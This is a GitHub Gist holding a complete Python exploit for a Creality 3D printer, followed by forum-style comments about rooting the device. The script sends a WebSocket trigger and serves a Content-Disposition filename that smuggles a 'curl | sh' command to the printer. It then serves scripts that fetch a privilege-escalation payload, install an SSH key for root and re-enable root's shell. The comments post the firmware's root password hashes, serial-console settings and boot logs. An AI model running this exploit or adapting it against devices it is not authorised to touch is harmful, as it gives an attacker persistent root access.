-
-
Save C0DEbrained/c6f508109e34f43a39f4c22e901408dd to your computer and use it in GitHub Desktop.
| import sys | |
| import argparse | |
| import threading | |
| import json | |
| import time | |
| from http.server import SimpleHTTPRequestHandler, HTTPServer | |
| from urllib.parse import urlencode, quote | |
| import websocket # pip install websocket-client | |
| PRINTER_PORT = 9999 | |
| SERVER_PORT = 4444 | |
| TIME = int(time.time()) | |
| class RequestHandler(SimpleHTTPRequestHandler): | |
| def do_GET(self): | |
| self.protocol_version = 'HTTP/1.0' | |
| if self.path.startswith("/exploit"): | |
| print(f"\n[!] Printer requested: {self.path}") | |
| # 1. Send 200 OK | |
| self.send_response(200) | |
| self.send_header('Content-Type', 'application/octet-stream') | |
| # 2. INJECT THE CRAFTED HEADER | |
| print(f"[!] Sending crafted Content-Disposition header") | |
| self.send_header('Content-Disposition', f'attachment; filename="{FILENAME}"') | |
| self.end_headers() | |
| # 3. Send dummy G-code content | |
| self.wfile.write(b"G28\n") | |
| print("[+] Payload sent! We should see a request for bootstrap.sh next....\n") | |
| elif self.path == "/bootstrap.sh": | |
| print("[+] Printer requested bootstrap.sh. Next up, privesc.py") | |
| self.send_response(200) | |
| self.end_headers() | |
| self.wfile.write(f"""#!/bin/bash | |
| wget http://{HOST_IP}:{SERVER_PORT}/privesc.py -O /tmp/privesc.py | |
| chmod +x /tmp/privesc.py | |
| udhcpc -f -n -i lo -s /tmp/privesc.py -q | |
| """.encode()) | |
| elif self.path == "/privesc.py": | |
| print("[+] Printer requested privesc.py. Next up, S999persistence") | |
| self.send_response(200) | |
| self.end_headers() | |
| self.wfile.write(f"""#!/usr/bin/python3 | |
| import os | |
| import subprocess | |
| try: | |
| os.setuid(0) | |
| os.setgid(0) | |
| # Download S999persistence script to /etc/appetc/init.d/S999persistence | |
| subprocess.run(["wget", "http://{HOST_IP}:{SERVER_PORT}/S999persistence", "-O", "/etc/appetc/init.d/S999persistence"]) | |
| subprocess.run(["chmod", "+x", "/etc/appetc/init.d/S999persistence"]) | |
| subprocess.run(["sh", "/etc/appetc/init.d/S999persistence"]) | |
| except Exception as e: | |
| # Write to /usr/data/printer_data/logs/privesc_error | |
| with open('/usr/data/printer_data/logs/privesc_error', 'w') as f: | |
| f.write(str(e)) | |
| """.encode()) | |
| elif self.path == "/S999persistence": | |
| self.send_response(200) | |
| self.end_headers() | |
| # Note: placeholder key line; update as needed when serving this path | |
| self.wfile.write(f"""#!/bin/sh | |
| [[ -d /root/.ssh ]] || mkdir -p /root/.ssh | |
| echo '{PUBLIC_KEY}' >> /root/.ssh/authorized_keys | |
| [[ -f /etc/dropbear/dropbear_ed25519_host_key ]] || dropbearkey -t ed25519 -f /etc/dropbear/dropbear_ed25519_host_key | |
| [[ -f /etc/dropbear/dropbear_rsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key | |
| [[ -f /etc/dropbear/dropbear_ecdsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_ecdsa_host_key | |
| sed -i 's#sbin/nologin#bin/sh#' /etc/passwd | |
| """.encode()) | |
| print("[!] Printer fetched the persistence script. We're finished!") | |
| print("[!] Now, wait 30 seconds and try SSHing to the printer.") | |
| sys.exit(0) | |
| def start_server(): | |
| # Listen on Port 80 for the download request | |
| server = HTTPServer(('0.0.0.0', SERVER_PORT), RequestHandler) | |
| print(f"[*] HTTP Server listening on port {SERVER_PORT}...") | |
| server.serve_forever() | |
| def trigger_exploit(): | |
| # Connect to the printer's specific Slicer port | |
| ws_url = f"ws://{PRINTER_IP}:{PRINTER_PORT}/" | |
| print(f"[*] Connecting to {ws_url} using protocol 'wsslicer'...") | |
| try: | |
| # CRITICAL: Must request the specific subprotocol | |
| ws = websocket.create_connection(ws_url, subprotocols=["wsslicer"]) | |
| print("[+] WebSocket Connected!") | |
| # Construct the JSON command | |
| payload = { | |
| "method": "set", | |
| "params": { | |
| # This triggers print_proc -> httpchunk -> RCE | |
| "print": f"http://{HOST_IP}:{SERVER_PORT}/exploit-{TIME}", | |
| "printId": "1337" | |
| } | |
| } | |
| print(f"[*] Sending trigger: {json.dumps(payload)}") | |
| ws.send(json.dumps(payload)) | |
| time.sleep(2) | |
| ws.close() | |
| except Exception as e: | |
| print(f"[-] WebSocket Connection Failed: {e}") | |
| raise e | |
| if __name__ == "__main__": | |
| parser = argparse.ArgumentParser(description="Exploit server and trigger") | |
| parser.add_argument("--host-ip", dest="host_ip", required=True, help="IP of this machine hosting payloads") | |
| parser.add_argument("--printer-ip", dest="printer_ip", required=True, help="Target printer IP") | |
| parser.add_argument("--public-key", dest="public_key", required=True, help="Public RSA Key") | |
| args = parser.parse_args() | |
| # Override globals with CLI values and recompute dependent values | |
| HOST_IP = args.host_ip | |
| PRINTER_IP = args.printer_ip | |
| # Read the public key from the file | |
| PUBLIC_KEY = str(open(args.public_key).read()) | |
| if not PUBLIC_KEY: | |
| print("[-] Public key file is empty. Exiting.") | |
| sys.exit(1) | |
| SHELL_COMMAND = f"curl http://{HOST_IP}:{SERVER_PORT}/bootstrap.sh | sh" | |
| FILENAME = quote(f"dest\";{SHELL_COMMAND};#exploit.gcode") | |
| # 1. Start the HTTP server to host the payload | |
| t = threading.Thread(target=start_server) | |
| t.daemon = True | |
| t.start() | |
| # 2. Wait a moment, then fire the WebSocket trigger | |
| time.sleep(1) | |
| trigger_exploit() |
Do you have hash of it?
From RAMFS:/etc/shadow_security:
!root:$1$FgWavfhM$xLITYIZ59pfIFs6ESSnE2/:20129::::::
!creality:$5$i8KKHaaFTqP2XasW$uuOKlkGLEI3gvfPBDgBjTmjWCU1cq7g6q58Xjd9M4uD:::::::
These are copied to /etc/shadow -> /tmp/shadow on boot. And may be "unlocked" by removing ! from seed.sh if correct encrypted /usr/data/permission file is present (as far as I understand these passwords are unusable unless You get and upload permission file).
Do you have hash of it?
From RAMFS:/etc/shadow_security:
!root:$1$FgWavfhM$xLITYIZ59pfIFs6ESSnE2/:20129::::::!creality:$5$i8KKHaaFTqP2XasW$uuOKlkGLEI3gvfPBDgBjTmjWCU1cq7g6q58Xjd9M4uD:::::::These are copied to
/etc/shadow -> /tmp/shadowon boot. And may be "unlocked" by removing!fromseed.shif correct encrypted/usr/data/permissionfile is present (as far as I understand these passwords are unusable unless You get and uploadpermissionfile).
This is actually something that was added in the .26 release, and looks to be an official process to gain root that's still under development. Based on the code I found it looks like you'll probably have to sign an agreement and they'll give you the permission file in return that you then put on a USB. This will be signed (and verified with cmd_sc) and tied to your device.
Do you have hash of it?
From RAMFS:/etc/shadow_security:
!root:$1$FgWavfhM$xLITYIZ59pfIFs6ESSnE2/:20129::::::!creality:$5$i8KKHaaFTqP2XasW$uuOKlkGLEI3gvfPBDgBjTmjWCU1cq7g6q58Xjd9M4uD:::::::
These are copied to/etc/shadow -> /tmp/shadowon boot. And may be "unlocked" by removing!fromseed.shif correct encrypted/usr/data/permissionfile is present (as far as I understand these passwords are unusable unless You get and uploadpermissionfile).This is actually something that was added in the
.26release, and looks to be an official process to gain root that's still under development. Based on the code I found it looks like you'll probably have to sign an agreement and they'll give you thepermissionfile in return that you then put on a USB. This will be signed (and verified withcmd_sc) and tied to your device.
So new mainboard they encrypted emmc?
In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.
In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.
Root alone doesn't give anything I guess, but it does open up the gateway to do a lot more including rewriting the helper script.
In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.
Root alone doesn't give anything I guess, but it does open up the gateway to do a lot more including rewriting the helper script.
Have you figured out how to transfer klipper from the closed section yet?
In general, root doesn't give anything since there are no many dependencies, not even a graphical interface, and the helper itself needs to be completely rewritten for this firmware. With the new cfs-c, the firmware is also stripped down, but as I understand it, it has two cores for the new and old hardware.
Root alone doesn't give anything I guess, but it does open up the gateway to do a lot more including rewriting the helper script.
Have you figured out how to transfer klipper from the closed section yet?
Not quite sure what you're meaning here?
I've setup a discord server for anybody wanting to discuss further / work on helper script porting too: https://discord.gg/FffAZcUJtr
So new mainboard they encrypted emmc?
Partially encrypted. I don't know how exactly X2000 secure boot works, but if I correctly understand pdf referred above - the chip has a bunch of one-time-programmable fuses used to turn on secure boot and on-chip memory to hold the key (not sure if it is possible to change it after initial programming).
So it seems bootloader is encrypted (likely it is u-boot, but haven't verified). Kernel with embedded RAMfs is also encrypted (can be easily decrypted as shown above). /usr/deplibs is not encryppted (squashfs), but haven't verified if it's checsum is verified on boot. Tho ext4 filesystems /usr/apps ant /usr/data are not encrypted and can be modified (exploit modifies /usr/apps without causing issues).
/usr/apps contains 8 encrypted binaries, which are decrypted to tmpfs at /tmp/apps on boot (can be downloaded for further inspection once You have root).
Klipper seems to be not encrypted, but it is present in Python byte code only (.pyc files). At least some i'ts config files are plain text.
"sn_mac" partition is also encrypted and contains at least model and device info (likely unique).
So new mainboard they encrypted emmc?
Partially encrypted. I don't know how exactly X2000 secure boot works, but if I correctly understand pdf referred above - the chip has a bunch of one-time-programmable fuses used to turn on secure boot and on-chip memory to hold the key (not sure if it is possible to change it after initial programming).
So it seems bootloader is encrypted (likely it is u-boot, but haven't verified). Kernel with embedded RAMfs is also encrypted (can be easily decrypted as shown above). /usr/deplibs is not encryppted (squashfs), but haven't verified if it's checsum is verified on boot. Tho ext4 filesystems /usr/apps ant /usr/data are not encrypted and can be modified (exploit modifies /usr/apps without causing issues).
/usr/apps contains 8 encrypted binaries, which are decrypted to tmpfs at /tmp/apps on boot (can be downloaded for further inspection once You have root).
Klipper seems to be not encrypted, but it is present in Python byte code only (.pyc files). At least some i'ts config files are plain text.
"sn_mac" partition is also encrypted and contains at least model and device info (likely unique).
The cmd_sc command is what is used to decrypt these (e.g. cmd_sc src=/tmp/sn_mac.signed dst=/tmp/params > /dev/console 2>&1 from /bin/seed.sh)
Serial interface on the board is available on GND/RX2/TX2 connector in the center of the board: 3.3V UART, 3Mbps (3Mhz), 8-bit, parity none, 1 stop bit, lsb-first. Used PL2303 USB-to-serial converter. Login works, once You fix passwd and shadow files.
U-Boot SPL 2013.07 (Aug 26 2025 - 05:43:32)
ERROR EPC 8e11a37f
CPA_CPAPCR:0300490d
CPM_CPMPCR:04b0490d
CPM_CPEPCR:0190510d
CPM_CPCCR:9a0b5410
DDR: W632GU6QG-11 type is : DDR3
Security boot...
U-Boot 2013.07 (Aug 26 2025 - 05:43:32)
Board: x2600e_creality (Ingenic XBurst2 X2600E SoC)
DRAM: 256 MiB
Top of RAM usable for U-Boot at: 90000000
Reserving 496k for U-Boot at: 8ff80000
Reserving 16416k for malloc() at: 8ef58000
Reserving 32 Bytes for Board Info at: 8ef57fe0
Reserving 128k for boot params() at: 8ff60000
Reserving 124 Bytes for Global Data at: 8ef57f64
Stack Pointer at: 8ef57f48
Now running in RAM - U-Boot at: 8ff80000
MMC: MSC: 0
[CMD8]: Error detected in status(0x18000)!
[CMD55]: Error detected in status(0x18000)!
*** Warning - bad CRC, using default environment
In: serial
Out: serial
Err: serial
Net: GMAC-9161
mmc0(part 0) is current device
Security boot...
## Booting kernel from Legacy Image at 80a00800 ...
Image Name: Linux-5.10.186
Image Type: MIPS Linux Kernel Image (gzip compressed)
Data Size: 8221324 Bytes = 7.8 MiB
Load Address: 80010000
Entry Point: 80972ca0
Verifying Checksum ... OK
Uncompressing Kernel Image ... OK
Starting kernel ...
[ 0.000000] Linux version 5.10.186 (root@b62d0822127a) (mips-linux-gnu-gcc (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 7.2.0, GNU
ld (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 2.27) #1 SMP PREEMPT Fri Oct 24 11:22:56 CST 2025
[ 0.000000] CPU0 RESET ERROR PC:8E11A37F
[ 0.000000] printk: bootconsole [early0] enabled
...
The rest is visible via dmesg once You are logged in.
Serial interface on the board is available on GND/RX2/TX2 connector in the center of the board: 3.3V UART, 3Mbps (3Mhz), 8-bit, parity none, 1 stop bit, lsb-first. Used PL2303 USB-to-serial converter. Login works, once You fix
passwdandshadowfiles.U-Boot SPL 2013.07 (Aug 26 2025 - 05:43:32) ERROR EPC 8e11a37f CPA_CPAPCR:0300490d CPM_CPMPCR:04b0490d CPM_CPEPCR:0190510d CPM_CPCCR:9a0b5410 DDR: W632GU6QG-11 type is : DDR3 Security boot... U-Boot 2013.07 (Aug 26 2025 - 05:43:32) Board: x2600e_creality (Ingenic XBurst2 X2600E SoC) DRAM: 256 MiB Top of RAM usable for U-Boot at: 90000000 Reserving 496k for U-Boot at: 8ff80000 Reserving 16416k for malloc() at: 8ef58000 Reserving 32 Bytes for Board Info at: 8ef57fe0 Reserving 128k for boot params() at: 8ff60000 Reserving 124 Bytes for Global Data at: 8ef57f64 Stack Pointer at: 8ef57f48 Now running in RAM - U-Boot at: 8ff80000 MMC: MSC: 0 [CMD8]: Error detected in status(0x18000)! [CMD55]: Error detected in status(0x18000)! *** Warning - bad CRC, using default environment In: serial Out: serial Err: serial Net: GMAC-9161 mmc0(part 0) is current device Security boot... ## Booting kernel from Legacy Image at 80a00800 ... Image Name: Linux-5.10.186 Image Type: MIPS Linux Kernel Image (gzip compressed) Data Size: 8221324 Bytes = 7.8 MiB Load Address: 80010000 Entry Point: 80972ca0 Verifying Checksum ... OK Uncompressing Kernel Image ... OK Starting kernel ... [ 0.000000] Linux version 5.10.186 (root@b62d0822127a) (mips-linux-gnu-gcc (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 7.2.0, GNU ld (Ingenic Linux-Release5.1.8-Default_xburst2_glibc2.29 Optimize: jr base on 5.1.6 2023.07-18 08:46:58) 2.27) #1 SMP PREEMPT Fri Oct 24 11:22:56 CST 2025 [ 0.000000] CPU0 RESET ERROR PC:8E11A37F [ 0.000000] printk: bootconsole [early0] enabled ...The rest is visible via
dmesgonce You are logged in.
So original ssh password of root not found?
I remember of old method to change root password maybe working:
https://samy.link/blog/build-your-own-wifi-pineapple-tetra-for-7
Updated earlier comment on u-Boot SPL decoding.
Don't touch
- encrypted binaries in
/usr/apps/usr/bin/. These are verified by/bin/seed.sh, the system will halt in case of failure.
alchemistp.bin
mdns.bin
nexusp.bin
onyxp.bin
quintusp.bin
solusp.bin
thirteenthp.bin
vectorp.bin
- SquashFS partition and its encrypted headers (data in
/dev/mmcblk0p1partition) - it is verified by/bin/seed.sh, the system will halt in case of failure. sn_macpartition (/dev/mmcblk0p2) - it is verified by/bin/seed.sh, the system will halt in case of failure./usr/data/permissionfile - it is verified by/bin/seed.shto "unlock" root and creality account. Ifcmd_sc"freezes" - system will halt (don't put any radom file in/usr/data/permission)- first 1MB of MMC (GPT and bootloader) - u-Boot SPL and u-Boot should be verified by Ingenic secure boot or SPL before they are started
- kernel and kernel2 - should be verified before it is started.
At least in some cases cmd_sc freezes (ioctl on /dev/sc stall) if encrypted data is modified (explicit halt is not required to brick the system).
It is not an extensive list. Keep Your eyes open 👁️ 👁️
Do you have hash of it?